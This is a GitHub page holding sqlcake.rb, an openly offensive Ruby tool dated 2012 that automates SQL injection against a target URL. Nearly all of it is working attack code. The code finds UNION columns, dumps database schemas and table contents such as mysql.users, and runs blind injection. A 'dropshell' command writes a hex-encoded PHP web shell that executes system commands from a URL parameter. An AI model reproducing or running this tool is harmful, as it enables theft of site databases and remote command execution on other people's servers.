-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsqlcake.rb
More file actions
502 lines (393 loc) · 11.1 KB
/
sqlcake.rb
File metadata and controls
502 lines (393 loc) · 11.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
#!/usr/bin/ruby
# sqlcake _ sql auto exploitation kit _ v1.1b
# written 2012 by impuls <impuls23@safe-mail.net>
# http://impuls23.edublogs.org
#
# automatic dump database & interactive sql shell tool
# dumps the current database structure including
# tables and columns and turns into an interactive
# mysql prompt. mysql specific special commands are:
#
# hex:[str] => to sql-hex a string for magic quotes bypassing, e.g. hex:hello
# dropshell:[str] => drops a php shell (param x) (magic quotes must be deactivated),
# => e.g. dropshell:/var/www/exec.php | /exec.php?x=ps
# dump:[str] => to dump a specific table, e.g. dump:mysql.users
# blind:[on/off] => toggle blind sql injection mode
#
# parameter setup:
#
# -u => set target URI ["http://www.example.com/x.php?id=2&cat=5"]
# -p => set target parameter ["id"]
# -e => set error string for union selecion ["_fetch"]
# -d => set error escape string [" /*"]
# -b => use blind sql injection mode
# -f => write data to output file
# -x => skip database dump
require 'getoptlong'
require 'net/http'
print %q!
_________________________________
/ \
sql auto exploitation kit
\_________________________________/
version: v1.1b (beta)
!
opts = GetoptLong.new(
["--help", "-h", GetoptLong::NO_ARGUMENT],
["--uri", "-u", GetoptLong::REQUIRED_ARGUMENT],
["--param", "-p", GetoptLong::OPTIONAL_ARGUMENT],
["--error","-e", GetoptLong::OPTIONAL_ARGUMENT],
["--delim", "-d", GetoptLong::OPTIONAL_ARGUMENT],
["--file", "-f", GetoptLong::NO_ARGUMENT],
["--blind", "-b", GetoptLong::NO_ARGUMENT],
["--skipdump", "-x", GetoptLong::NO_ARGUMENT]
)
@params = Hash.new()
opts.each do |opt, arg|
@params["#{opt}"] = arg
end
def get(uri)
uri = URI(URI.encode(uri))
res = Net::HTTP.get_response(uri)
uri = res.body
return uri
end
def get_data(uri, ident, query)
target = uri.gsub(/\+(.+)?(#{ident})/,"+\\1" +
"(SeLeCT+CoNcAt(0x3A,0x21,0x21,0x7B,0x7B,0x7B,(#{query})," +
"0x7D,0x7D,0x7D,0x21,0x21,0x3A,0x0D,0x0A))")
return get(target).scan(/:!!{{{(.*)}}}!!:/).uniq.join
end
def get_data_blind(uri, query)
true_resp = get(uri + "+aNd+1=1" + @escape_str)
i = 0
while 1
resp = get(uri + "+aNd+(SeLeCT+leNgTh((#{query}))=#{i})" + @escape_str)
if (resp == true_resp)
break
else
i += 1
end
end
length = i + 1
curpos = 1
val = String.new()
sql = "+aNd+(SeLeCT+aScii(suBstRiNg("
while curpos < length
resp = get(uri + sql + "(#{query}),#{curpos},1))<51)" + @escape_str)
if(resp == true_resp)
i_s = 0
i_e = 51
else
resp = get(uri + sql + "(#{query}),#{curpos},1))<101)" + @escape_str)
if(resp == true_resp)
i_s = 50
i_e = 101
else
resp = get(uri + sql + "(#{query}),#{curpos},1))<151)" + @escape_str)
if(resp == true_resp)
i_s = 100
i_e = 151
else
resp = get(uri + sql + "(#{query}),#{curpos},1))<201)" + @escape_str)
if(resp == true_resp)
i_s = 150
i_e = 201
else
i_s = 200
i_e = 255
end
end
end
end
while(i_s < i_e)
resp = get(uri + sql + "(#{query}),#{curpos},1))=#{i_s})" + @escape_str)
if (resp == true_resp)
print i_s.chr
val += i_s.chr
curpos += 1
break
else
i_s += 1
end
end
end
puts "\n"
return val
end
def hex_str(str)
chars = str.split(/ */)
hex_val = "0x"
chars.each do |c|
hex_val += c.ord.to_s(16)
end
return hex_val
end
def dump_columns(uri, ident, table)
i = 0
if table.match(/\./)
schema = hex_str(table.scan(/^(.*)\./).join)
table = hex_str(table.scan(/\.(.*)$/).join)
while 1
if (@bm == 1)
res = get_data_blind(uri, "SeLeCT+CoNcAt(table_schema,0x2E,table_name,0x2E,column_name)" +
"FrOm+information_schema.columns+WhErE+table_schema+=+#{schema}+aNd+" +
"table_name+=+#{table}+LiMiT+#{i},1")
else
res = get_data(uri, ident, "SeLeCT+CoNcAt(table_schema,0x2E,table_name,0x2E,column_name)" +
"FrOm+information_schema.columns+WhErE+table_schema+=+#{schema}+aNd+" +
"table_name+=+#{table}+LiMiT+#{i},1")
end
if res.length > 1
@columns << res
puts res
write_logfile(res + "\n") if @lfname
i += 1
else
break
end
end
else
table = hex_str(table)
while 1
if (@bm == 1)
res = get_data_blind(uri, "SeLeCT+CoNcAt(table_schema,0x2E,table_name,0x2E,column_name)" +
"FrOm+information_schema.columns+WhErE+table_name+=+#{table}+LiMiT+#{i},1")
else
res = get_data(uri, ident, "SeLeCT+CoNcAt(table_schema,0x2E,table_name,0x2E,column_name)" +
"FrOm+information_schema.columns+WhErE+table_name+=+#{table}+LiMiT+#{i},1")
end
if res.length > 1
@columns << res
puts res
write_logfile(res + "\n") if @lfname
i += 1
else
break
end
end
end
end
def dump_information_schema(uri, ident)
i = 0
while 1
if (@bm == 1)
res = get_data_blind(uri, "SeLeCT+CoNcAt(table_schema,0x2E,table_name)" +
"FrOm+information_schema.tables+WhErE+table_schema+!=+" +
hex_str("information_schema") +
"+LIMIT+#{i},1")
else
res = get_data(uri, ident, "SeLeCT+CoNcAt(table_schema,0x2E,table_name)" +
"FrOm+information_schema.tables+WhErE+table_schema+!=+" +
hex_str("information_schema") +
"+LIMIT+#{i},1")
end
if res.length > 1
@tables << res
puts res if (@bm < 1)
write_logfile(res + "\n") if @lfname
i += 1
else
break
end
end
end
def dump_data(uri, ident, table)
dfields = []
i = 0
@columns.each do |c|
if c.match(/#{table}\.(.*)$/)
dfields << $1
i += 1
end
end
if (i > 0)
puts dfields.join(":")
write_logfile(dfields.join(":") + "\n\n") if @lfname
print "\n\n"
i = 0
while 1
if (@bm == 1)
res = get_data_blind(uri, "SeLeCT+CoNcAt(" + dfields.join(",0x3A,") +
")+FrOm+#{table}+LiMiT+#{i},1")
else
res = get_data(uri, ident, "SeLeCT+CoNcAt(" + dfields.join(",0x3A,") +
")+FrOm+#{table}+LiMiT+#{i},1")
end
if res.length > 1
@columns << res
puts res
write_logfile(res + "\n") if @lfname
i += 1
else
break
end
end
end
end
def drop_php_shell(uri, ident, path)
target = uri.gsub(/\+(.+)?(#{ident})/,"+\\1" +
"(SeLeCT+0x3C3F706870207072696E7420223C7072" +
"653E223B73797374656D28245F4745545B2778275D" +
"293B3F3E3C212D2D)")
target += "+INTO+OUTFILE+'#{path}'"
get(target)
end
def get_ident(uri, ident)
i = 0
ident = ident.to_i
while i < ident
target = uri.gsub(/\+(.+)?(#{i})/,"+\\1CoNcAt" +
"(0x3A,0x21,0x21,0x21,0x3A,0x7B,0x21,0x7D,0x3A,0x21,0x21,0x21,0x3A)")
if get(target).match(/:!!!:{!}:!!!:/)
return i.to_s
break
end
i += 1
end
end
def run_sql_shell(uri, ident)
while 1
print "mysql> "
cmd = STDIN.gets.chop
break if cmd == "quit"
if cmd.match(/^hex:(.*)/)
puts hex_str($1)
elsif cmd.match(/^dropshell:(.*)/)
drop_php_shell(uri, ident, $1)
elsif cmd.match(/^blind:(.*)/)
if($1 == "on")
@bm = 1
puts "Blind mode is ON!"
else
@bm = 0
puts "Blind mode is OFF!"
end
elsif cmd.match(/^dump:(.*)/)
if (@tables.length > 0)
dump_columns(uri, ident, $1)
dump_data(uri, ident, $1)
else
puts "No database structure available!"
end
else
if (@bm == 1)
get_data_blind(@default_uri, cmd)
else
puts get_data(uri, ident, cmd)
end
end
end
end
def move_param(uri, param)
val = uri.scan(/((&)|(\?))(#{param}=.[0-9a-zA-Z.,:;\/\\-_+{}\[\]*%~!?|<>^=]*)/).join.gsub("&&","").gsub("??","")
if uri.match(/#{val}$/)
return uri
else
uri = uri.gsub(/#{val}(&)?/, "") + "&#{val}"
return uri
end
end
def exploit_sql(uri)
if(!uri.match(/^http(s)?:\/\//))
uri = "http://" + uri
end
if(@params["--param"])
uri = move_param(uri, @params["--param"])
end
@default_uri = uri
err = @error_resp
esc = @escape_str
uri += "+UnIOn+SeLeCT+"
val = "1"
res = err
puts "[*] Writing data to #{@lfname}" if (@lfname)
if (@bm != 1)
print "[*] Getting column count..."
while (res.match(err))
val += "\x2C" + (val.match(/\d\d?\d?$/)[0].to_i.next).to_s
res = get(uri + val + esc)
end
uri += val
print "\n"
puts "[*] Target URI: " + @default_uri
print "[*] Searching identifier..."
ident = get_ident(uri, val.match(/(\d*)$/)[0].to_s)
print "\n"
if (ident == nil)
puts "[*] Can't find identifier (#{err})"
puts "[*] Using blind SQL injection mode\n\n"
@bm = 1
end
puts "[*] Using identifier: " + ident + "\n\n" if (ident != nil)
else
puts "[*] Using blind SQL Injection mode\n\n"
end
if(@skip_db_dump < 1)
puts "[*] Dumping tables...\n\n"
if (@bm == 1)
dump_information_schema(@default_uri, 0)
else
dump_information_schema(uri, ident)
end
end
run_sql_shell(uri, ident)
end
def create_logfile()
@lfname = "sqlcake_" + Time.now.strftime("%Y-%m-%d-%H%M%S") + ".txt"
File.open(@lfname, "w") do |f|
f.print "SQL AXP started at #{Time.now}\n\n"
end
end
def write_logfile(data)
if(@lfname)
File.open(@lfname, "a") do |f|
f.print data
end
end
end
def help()
print %q!sqlcake _ sql auto exploitation kit _ v1.1b
written by impuls <impuls23@safe-mail.net>
automatic dump database & interactive sql shell tool
dumps the current database structure including
tables and columns and turns into an interactive
mysql prompt. mysql specific special commands are:
hex:[str] => to hex a string for magic quotes bypassing, e.g. hex:hello
dropshell:[str] => drops a php shell (param x) (magic quotes must be deactivated),
=> e.g. dropshell:/var/www/exec.php | /exec.php?x=ps
dump:[str] => to dump a specific table, e.g. dump:mysql.users
blind:[on/off] => toggle blind sql injection mode
parameter setup:
-u => set target URI ["http://www.example.com/x.php?id=2&cat=5"]
-p => set target parameter ["id"]
-e => set error string for union selecion ["_fetch"]
-d => set error escape string [" /*"]
-b => use blind sql injection mode
-f => write data to output file
-x => skip database dump
!
exit 0
end
@skip_db_dump = 0
@bm = 0
@error_resp = @params["--error"] || "_assoc"
@escape_str = @params["--delim"] || "\x20\x2D\x2D"
@tables = []
@columns = []
if (!@params["--uri"])
help()
end
if (@params["--help"])
help()
end
if (@params["--file"])
create_logfile()
end
if (@params["--blind"])
@bm = 1
end
if (@params["--skipdump"])
@skip_db_dump = 1
end
exploit_sql(@params["--uri"])